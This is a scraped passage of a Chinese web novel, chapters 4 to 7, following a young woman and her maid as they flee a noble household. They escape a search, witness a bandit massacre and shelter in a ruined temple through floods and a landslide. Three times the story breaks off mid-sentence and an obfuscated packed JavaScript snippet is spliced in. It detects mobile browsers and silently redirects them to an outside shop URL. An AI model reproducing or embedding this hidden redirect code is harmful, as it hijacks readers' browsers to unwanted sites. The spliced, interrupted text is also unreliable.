客栈丙号房处于二楼最深处,倒比沈竹念想象的要宽敞许多,窗棂上糊着窗纸,被褥尚算干爽,靠墙的木桌上放着茶壶,僻静无人打扰,最重要的是将木窗推开一条缝,刚好能望见前街的动静。
此刻火光映红了半条街,那群骑兵已经搜到了码头停靠的乌篷船上,披甲的兵卒提着刀上去船鸡飞狗跳,哭声、求饶声混在雨声里,整个码头乱成一锅粥。
沈竹念迅速合上窗缝,不怕一万就怕万一,万一这群人知晓她们的身份,这可如何是好,一时之间二人大眼瞪小眼,面面相觑,都有些发愁。
雨势渐沉,远处的码头上隐约传来几声雷声,期间店小二来送热水。
沈竹念塞过去几个铜板打听外面的状况,店小二好心提醒,“客官莫惊慌,咱江宁镇是漕运码头,常有匪人偷窃,只要不是抄家流放的重犯,必能安稳渡过。”
侯府·真流放抄家·表姑娘沈竹念假笑一声,瞬间觉得自己命有些苦,前脚刚离了吃人的侯府,后脚就要进大牢?
虽说沈竹念没真嫁给那个侯府狗屁三少爷,可若是丰恩侯府改口咬定她是自愿的给三少爷当妾的,一个妾罢了,妾通买卖,自然要跟着侯府流放。
沈竹念打定主意,刚寻了理由将店小二搪塞过去。秋露给店小二的话吓住了,拉着姑娘要跳窗逃命。
沈竹念摇头道来不及了,从包袱里翻出一个白瓷小瓶,往秋露脸上抹了两把,连手上也没放过,把原本白皙的手指搓得红黄,拉着秋露嘀咕了好一会儿,等到外面兵卒将门砸得震天响,才走到门边拉开门闩。
门外站着两个兵卒,腰间悬着横刀,当头的一脚跨进门,目光屋内扫了一圈,最后落在沈竹念脸上。
“你们两个,何方人士为何住店?”
“军……军爷,”沈竹念吓得点头哈腰,结结巴巴地开口,十足一个没见识的乡下儿郎,“小的兄弟乃青州人士,小的十九岁,弟弟十七岁,弟弟脑子不清楚,年纪渐长老是要媳妇儿,小人带弟弟出门探亲,想为他寻一门好亲事…”
“罗里吧嗦什么!”
兵卒觉得聒噪,掀开床上的被褥,翻开床底望下去,一无所获,另一个大汉动作粗鲁,翻了翻桌上二人包袱,也什么都没发现,那包袱里如今只剩两件旧衣裳和几块干粮,刚要说什么,突然看到沈竹念小臂几处红黄的“癣疥”,秋露也顺势挤出一双愚蠢斗鸡眼,嘴角挂着涎水,整个人呆呆傻傻,看着就不灵光,“嘿嘿,大哥俺媳妇在哪儿呢,俺要找媳妇。”
沈竹念呵斥两句,那俩大汉皱了皱眉,捂住口鼻后退,嫌恶地摆摆手:“行了行了,一个病鬼一个傻子,真是晦气!”
“下一间!”
沈竹念重新插上门闩,将桌凳、洗脸的木架子搬过去顶上,走廊外脚步声渐渐远去,秋露整个人瘫软下来,不敢说话。
沈竹念站在门边没动,听着雨声里楼梯上传来沉重的脚步声,连带着木板被踩得嘎吱作响,兵卒上了三楼,砸门声伴随着骂声,过了一柱香功夫,嘈杂声才彻底消停。
沈竹念听着外头再无响动,才松了那口气,抱着茶壶灌了一杯水压惊,这一天江宁镇码头就没消停过,马蹄声来来去去,闹到人仰马翻,听说是找什么朝廷逃犯。
中午吃晌食,沈竹念瞅了瞅贴在客栈大堂的通缉画像,心下起疑,哪家的朝廷钦犯是长相俊俏的玉面郎君,莫不是其中另有隐情?
不论如何,此地不宜久留,下午雨小了些,沈竹念回去同秋露商量,决定明日一早便动身离开。
当夜江宁镇街头寂静无声,偶尔自远方传来几声犬吠,沈竹念提心吊胆一天,稍放下心嗅到满身馊味,秋露头发也打结了,痒得老是挠,喊店小二叫了热水来,洗去一身泥污,换上干爽粗布衣裳,总算睡了个舒坦觉。
翌日天蒙蒙亮时,窗外雨停了,河道上雾气一片,沈竹念叫醒秋露,两人净了脸,背着包袱推门下楼,客栈院子里积水漫过青砖,二人分头去了镇上采买吃喝用品。
沈竹念惜命得很,软磨硬泡在济仁堂老大夫手里低价买了路上所需的金创药、止血散、风寒丹、头疼脑热丸......有什么买什么,尽量保证逃亡路上不会因缺医少药而嘎掉,
济仁堂往东走,贩肉的屠夫勾着汗巾抹了把脸,挥舞着手中的剔骨刀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614735|206050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将肉剁到震天响,门口挂着整扇的猪肉,肥膘足有两指厚,馋得人吞口气。
沈竹念犹豫片刻,目光被一个蹲在码头石阶边的猎户老伯吸引住了,猎户面前摆着两个大竹篮,一个筐子是剥好的光滑动物皮毛,一个是用油纸包着的风干肉块,满满一筐子,少说有十斤。
沈竹念舔舔嘴唇,觉得这简直是天降甘露。
猎户老伯垂垂老矣,破衣烂衫,颤颤巍巍道一斤肉干十文钱,价格不能低了,要不是家中孙孙高热不退,也不会拿救命粮出来。
沈竹念听得心酸,无论何时百姓都是最苦的,花了八十文钱买下竹筐里的肉干,在老伯竹筐里多放了二十铜板跟几包退烧草药,默默离去,等猎户老伯发现,颤抖着老手,哑着嗓子,“恩人,恩人吶.....”
老伯老泪纵横,大馋丫头沈竹念早对着街对面的糖果铺子走不动道了。
糖果铺子柜台上排着一排罐子,罐口贴着红纸,各写着麦芽糖、粽子糖、蜜饯果脯以及各色糖渍糕点,她想来这一路奔波逃命,吃不饱睡不好,净是吃苦了,可恶,不买些蜜饯果子一饱口腹之欲,真是说不过去。
再说了秋露也是个无甜不欢的家伙,逃亡路上饿到发昏时多些饴糖,说不定能保一命。
沈竹念思及此,心安理得过去问价格,掌柜笑眯眯道:“麦芽糖十文一斤,粽子糖二十五文,若是小哥儿买得多,可多送二两。”
恰好秋露扛着新买的铁锅过来,见姑娘要买糖,欢喜到牙不见眼,最后二人各拎了一小包麦芽糖回了客栈吃了一碗清汤面,精神饱满驾着骡车赶往秣陵关。
秣陵关乃金陵门户,是大邺重兵把守的军事重镇,民风强悍,自然不会有什么民乱。
三日后,终于从宜兴走到了九度岭古道,九度山岭地势险峻,山侧陡峭如壁,骡车压根上不去,只能弃了车,牵着骡子驮负物资徒步而行。
山路崎岖哪是这么好走的,沈竹念脚上的布鞋早磨出了洞,走一段路脚上火辣辣的疼,不用想就知道是起了水泡,换上秋露编的草鞋勉强能走。
盛夏酷暑,这几天滴雨未下,往日翠茵如盖的石路走上去烫脚,一连走了几个时辰,人都要热晕了,骡子犯倔犟在原地打转,怎么也不肯往前走一步。
秋露头戴草帽,浑身几乎累到脱力,靠在石壁上喘气,“姑娘不能再走了,得找个阴凉处歇歇。”
再这么走下去,骡子要吐白沫了。
骡子吐白沫,真是活不成了。
沈竹念鬓发汗湿,目光略过前方望不到边际的石路,也是愁得很,前方的路越来越难走。
昨日在管道上已经出现了零星逃难的难民。
烈日当空,这些难民三五成群结队,男女老少皆有,个个衣衫褴褛,瘦骨嶙峋,见到路上富户马车,眼里那股子嫉恨贪婪目光让人心惊胆战。
5. 第 5 章
更让人心惊的是,沈竹念隐约察觉到这队富商已让人盯上了。
盖因那富户一家人太过招摇不知收敛,灾年逃难行走在一群衣衫褴楼的灾民中,偏他一家仗着有镖局的七八个壮汉护航,就穿金戴银,绫罗绸缎好不风光。
别看那些壮汉个个壮实魁梧,虎背熊腰,手拿长刀不好惹的模样,太平年月或可安然无恙,现今闹灾,灾民饿红了眼为了口肉饼能杀人。
双拳难敌四手,灾民手里也不是没有家伙的,扁担、菜刀、锄头、棍棒哪样不能杀人?
也不是没人劝说过那富商,沈竹念就亲耳听到富户家的老管家,苦口婆心道路上人心难测,劝老爷低调些。
可惜那富户老爷油盐不进,斥责老管家人老昏头,瞎操心。
好言难劝该死的鬼,沈竹念不想留下来跟富商一家在一块儿当杀猪盘,连夜赶着骡子车同秋露一起赶了大半夜的路,总算甩开身后那群流民,却在九度岭古道犯了难。
这一路上她不敢走官道,官道虽然开阔,万一遇上别的什么东西,连躲的地方都没有。山道虽然难走,但两边都是密林和灌木,随时可以藏身。
两人一骡沿着山道走了约莫小半个时辰,地势渐渐抬高,脚下的路也变得越来越窄,正午日头升到最盛,明晃晃的阳光刺眼,骡子越发焦躁,鼻息粗重,秋露从包袱里摸出半块豆饼,这祖宗嗅了嗅,对着沈竹念不满喷鼻,梗着脖子打死不吃。
“……”
沈竹念累到快趴下,还要牵着骡子祖宗寻了处树荫草木丰盛处,骡子低头猛吃,看样子很满意,秋露则背着从山下土集买来的背篓,拎着把镰刀哼哧哼哧割草,留着晒干了给骡子当饲料。
沈竹念口渴难耐,刚给骡子喂了水,晃晃水囊里的水剩不了多少,她记起方才上山途中,路过一棵枝叶如盖的老樟树,树旁一侧石壁下有口泉眼,泉水顺着石缝淌下来,在低洼处汇成个清澈小水潭,扭头跟秋露打了声招呼道去打水。
秋露紧张兮兮,“姑娘,山下面危不危险,不会有吃人大虫出没吧?”
沈竹念哭笑不得,让秋露别瞎想,九度岭虽说地势复杂,到底是常有行人的官道,不是什么烟瘴缭绕的深山老林,松鼠、野兔之类的小动物常有,豺狼虎豹断不会轻易出没。
秋露放下心,沈竹念也理解傻丫头的心思,毕竟自幼跟原主一起长大,逃难一路上二人又相依为命,摸爬滚打不离不弃,名义上为主仆,实际跟亲姐妹一样了。
老樟树顺着山路走一刻钟就到了,沈竹念提着水囊往山道下方走,石壁下清泉汩汩,蹲下身,将背着的三个水囊一一装满,又捧了一捧泉水洗了把脸,暑气散了大半,忽然瞥见旁边林子有几棵野杨梅树。
枝头野杨梅稀稀疏疏挂在枝头,看样子已经有灾民采食过,只不过这玩意儿吃了胃里泛酸水,短暂饱腹之后会更饥饿。
如今逃荒的灾民地处江南,尚有鱼虾野果野草裹腹,还没到挖树皮、吃树叶、观音土的地步,这些野杨梅就没人摘了。
沈竹念咽了咽口水,抬头看了看最近的一棵杨梅树,树不算太高,枝丫也还算结实,索性撸起袖子,手脚并用攀上树,摘下一颗红透的,在袖子上擦了擦,咬了一口。
酸酸甜甜的汁水在口中炸开,她忍不住又摘了两颗塞进嘴里,吃得眉眼弯弯。
沈竹念四下看了看,袖口打了个结,做成个简易的布兜,把剩下的二十来颗熟透的,仔细包好揣进怀里。
沈竹念下了树,背着水囊往山路上爬,脚步轻快了许多,连山道两旁的蝉鸣听上去都不那么聒噪了。
远远地就看见秋露站在山路旁张望,见她回来,先是松了口气,随即瞪大了眼睛:“姑娘,你袖口怎么脏了?”
沈竹念弯起眼睛,把藏着的野杨梅递过去,“尝尝。”
“野梅子?”秋露惊喜不已,迫不及待往嘴里送,“酸酸甜甜,姑娘你也吃呀。”
“我吃过了,你吃吧。”
这丫头晒了半天,嗓子眼干渴冒烟,连吃了五六颗,又喝了山泉水,剩下的野梅子推搡半天,谁也舍不得先吃,俩人下午赶路口渴都给消灭了。
傍晚时分,沈竹念背着水囊路过一片竹林,秋露牵着骡子去下游溪流喝水,她刚打算歇下脚,前方山麓下突然传来一阵马蹄嘶鸣夹杂着说话声。
沈竹念立刻警惕起来,迅速蹲下身攀到一处巨大石头下望过去,只见官道上驶来一行气派车队,打头的正是前日见到的镖局壮汉,后头跟着三辆马车。
显然这几日富商车队运气不错,改走近路离了灾民队伍,赶到了沈竹念她们前面。
沈竹念犹记得,这富商老爷姓林,常年在外地经商,家中颇有资产,此番携家带口是要回老家湖州安顿。
林家最前面马车上坐着家眷丫鬟,中间那辆堆满箱笼,后面那辆则挤着老管家和两个小厮,许是路上颠簸,林夫人扶着头上的金簪直呼头晕,身边跟着的丫鬟,穿着半新的绸裙,瞧着比寻常人家的姑娘还要体面几分。
一行人走走停停,哪里像赶路归乡的。
此刻林夫人已从车上下来,由丫鬟搀着,绣花鞋踩在石路上,娇滴滴拿帕子掩着口鼻,嫌官道上有牲畜的粪便味,“老爷,妾身头晕得很,再不歇歇真吃不消了。”
“夫人既是累了,那便歇歇。”
林老爷发了话,老管家叹息片刻,也是无奈,林家的丫鬟小厮却是欢天喜地,各自找阴凉处躲懒,几个镖局汉子散开在四周,光着膀子喝酒嚼肉。
沈竹念将这一切看在眼里,心头那抹不安越发浓重,眼皮子直跳,她回头看了眼下游,山势蜿蜒,林木茂密,没看到秋露牵着骡子回来。
翠树绿荫下,林夫人让丫鬟洗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614736|206050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了两串紫葡萄,染了鲜红豆蔻的柔荑捻了颗同林老爷撒娇,暗送秋波要亲手喂葡萄,忽而,一声尖锐的哨响突然划破长空。
一支箭矢“嗖”地射来,险些射中二人,林夫人惊声尖叫,林老爷吓得屁滚尿流,马蹄声由远及近,十几个手持弓箭,手持利刃的草寇狞笑着,催动□□瘦马自竹林中蹿出。
“是山匪!兄弟们护住马车,杀出去!”
镖局汉子们反应倒快,领头那壮汉“哐”地拔出腰刀,暴喝一声,率先冲上去跟山匪缠斗在一起,剩下的几个镖师也纷纷加入,他们常年走镖,倒也有几分本事,可惜寡不敌众,山匪足有十几人,又骑在马上瞬间斩杀掉几名汉子。
林家上下瞬间炸了锅,丫鬟小厮们四散奔逃,有的往马车底下钻,有的抱着头往山下跑,有个小厮慌不择路,迎面撞上山匪,被一刀封喉,老管家中了箭矢,躺在地上口鼻流血,大腹便便的林老爷犹如待宰的羔羊被山匪头子反手一刀抹了脖子,鲜血喷出老高......
山下惨叫声不断,沈竹念吓得脚下一滑,没有片刻犹豫,从巨石后滑下,绕到了一片浓密灌木丛后,这一带她之前观察过,地势高而陡峭,三面皆是陡坡,只有来路和前方山道两个出口。
来路是刚才走过的,前方山道则继续蜿蜒向上,这是条平时很少有人踏足的陡路,跟官道相比,走是难走许多,但关键时刻能保命。
官道上的屠杀还在继续,山麓旁遮天蔽日的竹海里,沈竹念屏息凝神,攥紧手里的匕首,身旁的秋露握着镰刀,面色惨白,咬紧牙关盯紧绑在不远处的骡子,只要骡子发出丁点声音引来任何贼寇,她们会毫不留情一刀砍下去。
好在这头骡子极通人性,仿佛察觉到危险处境,平日欺软怕硬的家伙此刻安静极了,天色渐暗,空气闷热潮湿,眼看着要下雨,夜风穿过竹林,竹叶婆娑起舞,仿佛有什么妖魔鬼怪,官道上的砍杀声早已消失殆尽,连苟延残喘的呻吟声都消失了。
直到天黑透了,沈竹念才同秋露摸出竹林,山麓下浓重的血腥气扑面而来,将山道染成了血色。
白日的惨状展现在眼前,女人、马车跟金银细软等财物自然都被土匪当成战利品带走了,奇怪的是白日横七竖八地躺在上的尸体也消失不见。
“姑娘,呕…尸体不见了。”
秋露打着火折子来回看了一遍,满地血腥,肠流满地,没忍住吐了出来。
“别看。”
沈竹念也强忍着胃里翻涌的作呕感,慢慢将火折子拿过来,血迹从官道中央一直延伸到路边,拖拽的痕迹很明显,应该是拖到马车上一同运走的。
心里刚升起一个可怖的念头,几道闪电伴随着震耳欲聋的雷鸣滚滚而来,雨点噼里啪啦砸下来,转眼间就变成了倾盆大雨。
“秋露,不能耽误了,咱们抓紧往前走,找个地方躲雨!”
6. 第 6 章
“姑娘,穿上蓑衣!”
沈竹念顾不得其他,强打起精神,披上秋露递过来的蓑衣,戴着草帽,两人一前一后牵着骡子冒雨往前走,过了一段石头路,成了褐色发黄的泥巴路。
路旁低洼积水成了浑浊的泥坑一脚踩下去,沈竹念裤腿瞬间湿透,好在穿的是草鞋,没似寻常穿鞋袜那般黏糊糊的,秋露在后面扶着骡子,冰冷的雨水吹打在脸上,前方白茫雨雾里隐约有房屋闪现。
沈竹念抹了把脸上的雨水,大雨滂沱,前路实在是看不清,只能再艰难往前走,这会儿她们已经习惯了在山路上走雨路,雨风吹打过来,二人都打了个哆嗦。
然而雨风越冷,脚下越不能停下,沈竹念幼时读《左传》,里面有句话,一鼓作气,再而衰,三而竭。
现在就如同行军打仗,有口气撑着就倒不下。
哆哆嗦嗦走了半个时辰,山路拐了个弯,面前的山道阔然开朗,浓密大雨中雨幕中隐约透出一片黑压轮廓。
这是一座年久无人的庙宇,大邺崇佛,江南四百八十寺,单是金陵都城便有过百寺庙,当今皇帝更是前后两次出家,朝臣磨破嘴皮子,花重金将皇帝赎回,山野古道有家破败寺庙并不稀奇。
这所寺庙门楣上的匾额早已朽烂大半,灰墙黛瓦,门院大开,露出里面黑黢黢院子,院子里荒草有一人多高,看样子应该是多年没人住了。
沈竹念猜测九度岭人迹罕至,驻寺的和尚揭不开锅,只能离去另寻生处,寺庙里面冷森森一片,穿堂风沉沉,里面不像有人居住的模样。
沈竹念不敢大意,这一路上遇到太多艰险,不小心些怕是早到阎罗殿报道了,她冲后面摆摆手,秋露背着口铁锅,立刻抽出骡子背上的柴刀,握在手里严阵以待,沈竹念左手菜刀,右手匕首,壮胆过后,轻手轻脚走到寺庙门口,院内黑灯瞎火,齐腰高的野草随风摇晃,颇有些吓人。
蹲在院门口观察片刻,沈竹念从地上摸起一块石头,用力扔进院内。石头砸在荒草间,发出闷响,过了会儿,又丢了一块进去,依旧没有动静。
“我去看看。”沈竹念稍放下心,率先跨过门槛。秋露紧跟其后,一手牵着骡子,一手握着柴刀,眼睛四下张望。
院中雨水顺着草叶往下淌,沈竹念打着火折子往里面看,殿内空荡荡的,佛像斑驳供奉的案积了厚厚一层灰,墙角挂着几道蜘蛛网。
阿弥陀佛,菩萨保佑,
沈竹念松了口气,转头冲外面喊了声:“进来吧,没人。”
秋露牵着骡子进来,把骡子拴在殿外的廊柱下,解下背上的东西乌龟挪窝一样样挪进殿内。两人身上湿漉漉的,雨水顺着衣摆往下淌。
秋露吹了风搓着胳膊,冻得嘴唇发紫,就这样还嘟囔着要去找柴火,没有柴火就没办法生火取暖煮粥。
外面下着雨,寺庙外能捡的树枝干草都是湿的,压根点不着火。
沈竹念环顾四周,寺庙正殿破败,门窗腐朽歪倒,干脆就地取材,拆了几根歪木头来生火,木头受了潮,吹了好几口气才亮起来,干柴引燃,火苗蹿起,没一会就烧旺了。
沈竹念将铁锅洗了又洗,架在火上烧水煮粥,两人围着火堆翻出包袱里的粗布短褐换上,湿透的蓑衣、草帽解下来挂在一旁。
湿衣裳也搭起来,骡背上驮着的两床棉被受了潮,秋露挑麻绳拴了晾衣绳,忙活着晒被子,外面的雨还没停,打在瓦片上噼啪作响,院子里荒草被风雨压弯了腰,骡子在廊下打了声响鼻,也缩着身子躲雨。
沈竹念把骡子牵到正殿,拍拍老伙计道声辛苦了,铁锅里咕嘟嘟煮着粥,冒着淡淡的香甜米香,她们一人一碗浓白米粥,狼吞虎咽喝光,都有些意犹未尽。
没办法,现在身边的物资不多了,从侯府带出的烧饼已然吃光光,在江宁镇采买的米面肉干亦只剩半袋粳米、一小罐十分珍贵的猪油,一兜玉米面跟几个红薯芋头,最后几块肉干。
如此境遇算是好的,路上灾民逃荒,吃黑黢黢的野菜团子,吃一口硬梆梆,嚼半天才能咽下去。
沈竹念摸着半空的肚子,蹲下身从包袱底下翻出个捆扎结实的油布包,一层层打开,里面是几块琥珀色、姜黄色的糖块,是上回路过江宁镇时买的麦芽糖跟姜糖。
“秋露张嘴,驱驱寒气。”
秋露依言,一股姜糖辛辣混着甜味在舌尖散开,沈竹念也往嘴里含了块,听着外面的雨声,眼皮子上下打架。
秋露也困了,脑袋一点一点地往下,今天实在是太惊险劳累了,前有土匪劫掠杀人后有暴雨连绵,二人困倦至极,蜷缩着身体互相依偎,汲取温暖睡了一晚上。
半夜被冻醒,沈竹念万分懊悔没在猎户老伯手里多买两张兽皮御寒,翌日清晨呲牙咧嘴出门,漫天的雨势不减,反而愈发大了,院子里只有雨声和风声,
偶尔夹杂着远处山涧涨水的轰鸣。
秋露乐观道,这场雨说不定一两天停了,雨不下了,便能继续上路。
沈竹念摇摇头,忧心忡忡望着乌沉灰黑,高耸如山岳放佛看不到天际的云暴,周遭电闪雷鸣,喃喃道,“两天怕是停不了......”
第一天,暴雨没停,积水漫过了山下的石头路,第二天,淹没了附近村镇低洼处的茅屋,五天后,雨偶尔零星,片刻之后,便又成倾盆大雨。
一场场暴雨过后,钱塘江?水位暴涨,东苕河决堤,咆哮的洪水裹挟着风雨洪流灌入州城,往日繁华的街道变成一片浑黄的汪洋,无数百姓、牲畜在洪水中挣扎哭喊......
当天落日时分,寺庙下方一大片山坡不堪暴雨冲击,石块簌簌落下,沈竹念听到异响,循声望去,半山腰一股冷风夹杂着泥雾扑面而来,秋露惊慌失措跑过来,嘴里说着什么。
忽而天地震动,寺庙下方半山腰巨石夹着在泥土、山石从杂草间滚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614737|206050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
落,“扑棱棱”惊飞林间的鸟雀。
沈竹念猛然反应过来,一股凉气窜到头顶,一把扑过去护住秋露大喊,“山体滑坡,不要乱跑,原地蹲下!”
话音未落,滚滚巨石裹着泥浆砸落,地面剧烈震颤,沈竹念把秋露死死按在身下,耳边全是下方山石滚动的轰鸣。
不知过了多久,一切尘埃落定,
沈竹念抬起头,耳朵嗡嗡作响听不到任何声音,秋露在她怀里瑟瑟发抖,往山下看去,二人心凉了大半截,寺庙西边的院墙塌了,半山腰往日陡峭的山路塌下去大半,露出新鲜黄土断面。再往后不到三尺,只剩一片灰蒙蒙的泥石废墟,将九度岭山路彻底掩埋。
路没了,怎么下山?
难道要困死、饿死在山上?
秋露张了张嘴,不由得悲从心中来,突然哇的一声号啕大哭起来,沈竹念鼻子一酸,泪珠也跟着簌簌落下,在侯府爬狗洞吃馊饭的时候,没哭,客栈遇到搜查,险象环生没哭,山匪抢劫杀人,也没哭。
如今却是绷不住了,万般委屈涌上心头,她就是想哭,哭个天昏地暗,鬼哭狼嚎,能奈如何?!
山下洪水泛滥,主仆俩抱头痛哭,模样可怜又好笑,抑扬顿挫哭声吓坏小孩,哭上片刻,沈竹念觉得口渴,呜咽两声,抽泣着摸出水壶喝两口润润喉。
不渴了继续哭,一边哭一边递给秋露,这丫头嘴上说不喝,其实接过去就喝光了。
哭了半晌,四周已经完全暗了下来,肚子咕噜叫,沈竹念哭到打嗝,瞧了瞧天色,哼唧着爬起来,腿麻了只能一瘸一拐往寺庙挪步。
秋露没人一起哭,迷茫抬头:“姑娘,干啥去?”
为何不跟我一起哭了?
沈竹念俏脸一红,理不直气也壮,“哭累了,肚子饿得慌。”
秋露登时一拍大腿,“是这个理儿,哭死也要做个饱死鬼!”
沈竹念:“......”
天黑如墨,山崩过后,寺庙正殿震落了许多灰尘,幸而寺庙地基稳固,只塌了西边半截院墙,不然她们也小命不保。
沈竹念了好几句菩萨保佑,用砍下来的杂草扎了个扫把,把殿里佛像、案板前的灰尘、蜘蛛网扫干净,拴在廊下的骡子半天没人喂,扬着破锣嗓子叫起来。
灰头土脸的沈竹念转头去喂骡子祖宗,这几日骡子吃的都是路上晒的干草,秋露蹲在地上吹火堆,把仅剩的两块肉干撕吧撕吧,煮肉粥。
这几日她们为了省粮食,只吃两顿米汤,今晚也是米汤,里面多了肉丝,虽然不说丰盛,但到底有肉,怎么不能算一顿美味呢?
当晚风雨停歇,潮湿的风裹挟着泥土的气息扑面而来,山下汪洋平静了许多,依旧浑浊冒着腥气。
白日哭闹一场,沈竹念只觉浑身酸软,就跟要散架一样,跟秋露累到一头睡去,睡到第二日睁开眼,明媚阳光洒在寺庙窗柩上,忽觉有了力量。
7. 第 7 章
清晨山上雾气缭绕,沈竹念穿好粗麻衣,日头已然灼热,院中积着水洼,踩在湿漉漉的青砖上,一股裹着泥土和草木的清香扑面而来。
山下的景象不容乐观,虽然洪水比昨日退了些许,露出大片泥泞的滩涂和浸泡过的房屋残垣、歪倒树木,但浑浊的水面上漂浮着断木、门板、以及一些漂浮着,她不敢细看的牲畜浮尸。
洪水之后如此高温,并不是什么好兆头,若是日头再猛烈下去,不出几日,山下遭灾的州城村镇,便会瘟疫横行。
瘟疫一旦爆发,后果不堪设想,时间短则几月长则以年为单位。
此时下山简直是自寻死路,山下洪灾、瘟疫横生,百姓流离失所,如果有摸索着上山寻找生路的流民,八成会被半山腰的泥石流阻拦,没路可走,无功而返。
山下流民上不来,反而是保护了这所庄严禅寺,塞翁失马,焉知非福。
沈竹念深吸一口气,心里略微安定些,打算一会儿去摸摸路,目光落在廊下骡子身上。这祖宗倒是悠闲,正慢悠悠地嚼着晒干的草。
秋露起得早,已经生火煮好两个芋头,还有一碗稀粥。
沈竹念简单洗漱,用寺庙捡来的破瓦罐洗干净,储存雨水当做日常用水。
这几日天天喝稀粥,沈竹念尚且能忍耐,秋露往日胃口大,以前在青州老家一口气能吃两个肉饼,纵使侯府饮食苛刻,偷吃窝头也能吃饱。
哪像现在,为了让她多吃些食物填饱肚子,秋露只吃了个芋头,明明馋得砸吧嘴也把粥省下来,沈竹念念鼻子一酸,却什么也没说,默默拿了个空粗瓷碗,把稀粥一分为二,另一碗递过去。
“姑娘,我吃了芋头了,饱的走不动道了。”
秋露盘着腿连声拒绝,吃饱这话一听就是骗鬼的。
“吃了吧,一碗粥我吃不了,再说不吃饱哪有力气干活。”
姑娘的话不容推辞,秋露接过半碗粥,呼噜噜喝个精光。
吃过朝食,沈竹念用匕首削了几根木棍,换了粗葛断打,正所谓冬日麂裘,夏日葛衣。
夏日做活穿葛衣最合适,虽粗糙但防虫咬。
同样的葛衣秋露也有一身,是在上九度岭古道前特意在渔村集市上买的,渔娘自己纺织的,物美价廉。
沈竹念站起身,整整衣襟,扎紧袖口跟裤腿,活生生一农家小哥儿。
“姑娘,你是要去哪?”秋露洗了碗,又把棉被抱出去晒,连日的阴雨让被褥潮难耐,晚上盖在身上又沉又冷,睡到半夜常被冻醒。如今日头正好,晒晒晚上睡觉舒坦,回来看到这一幕,眨了眨眼,不解道。
“四处去看看,山下暂时不能去,日子总要过下去。”
“现在山下什么情况咱们心知肚明,好在如今还有片瓦遮身,不至于露宿晃岭,粮食咱们得省着吃,再找找山上有没有能吃的野菜野果,多备些吃的。”
昨日哭了一场便够了,再哭哭啼啼也没什么用。
“姑娘说得对!”秋露把袖子一挽,“我一同去,也能帮帮姑娘。”
沈竹念点头,两人一前一后把整座寺庙探了一遍。
前几日一直下雨,她们缩在正殿惶恐不安,今日一看方知,这寺庙是所两进院子,前院正殿加东西两间偏殿,后面还有个小跨院,应该是当年僧人住的斋房。
斋房有三间,院子铺了石头路,三间斋房塌了一间,其余两间勉强遮风挡雨,只是门板歪斜,里头也是遍地灰尘。
后院亦是荒草丛生,割下来晒干了铺在地上睡正合适。
灶房在最东面,门框全无,进去一股发霉腐朽的潮味,土坯砌的灶台,半人高,铁锅粮食米面是没有了,两个竹编的菜篮子,一层蒸窝头用的蒸笼,瞧着能用,又翻了一阵,找到了一把锈迹斑斑的锄头、一块豁了口的磨刀石。
铁器在大邺是很值钱的农具,尤其在普通农家,打一把锄头要几百钱,能传好几代。
沈竹念像捡了宝一样,美滋滋将这些东西一一归拢,拨开荒草往前走,后院有棵巨大的桂花树,枝繁叶茂树冠撑开,像一把巨大的伞。
秋日桂花开了,采摘下来可以酿桂花蜜、桂花酒、桂花鸭、桂花糕跟糖藕……
想起这些,沈竹念手痒得厉害,赶紧四处看看,转移注意力,她发现一口青石井,就在桂花树下,井口长满青苔,心头一喜,快步上前,趴在井口往下看。
“秋露快来,后院有口井!”沈竹念喊了一声。
秋露一听有水,撒丫子往后院跑,青石井深,井下黑乎乎看不清楚,所幸打水的水桶麻绳尚且能用,二人费力摇动井上的辘轳,连打了三桶水,水都是土黄带着腥气。
沈竹念不气馁,这是口好井,只是许久不用,里面淤藻类滋生,还有落叶落下去,多清理打几桶水说不定能水能变清。
一连打了十几桶水,打上来的井水逐渐清凉,虽有沙石,沉淀过后水清澈见底。
秋露累到不行,可心里高兴得很,“姑娘,这下不用愁没水喝了!”
沈竹念仔细看了看桶里的水,为了以防不测,还是叮嘱秋露,日后饮用的水必须煮沸方能饮用,在现代像这种不用的水井,有水泵,抽上一下午喝水就不用担心了。
现在什么也没有,自能多小心些。
秋露认真记下,她们又忙着打了几桶水抬去后院,清扫房间、灶房。
靠南的那间斋房门窗最齐整,里面还有张竹榻,旁边搭着条卷起来的竹席,够睡下两个人,隔壁房里有口掉漆开裂的樟木箱子。
大约是年数长了,寺庙的和尚并未带走。
沈竹念瞥了一眼,麻溜搬到南寨房,将屋中收拾得清清爽爽,竹床擦拭干净厚厚铺了两层晒干的干草,竹席清洗过后晒干拿来用,躺上去厚实又温暖。
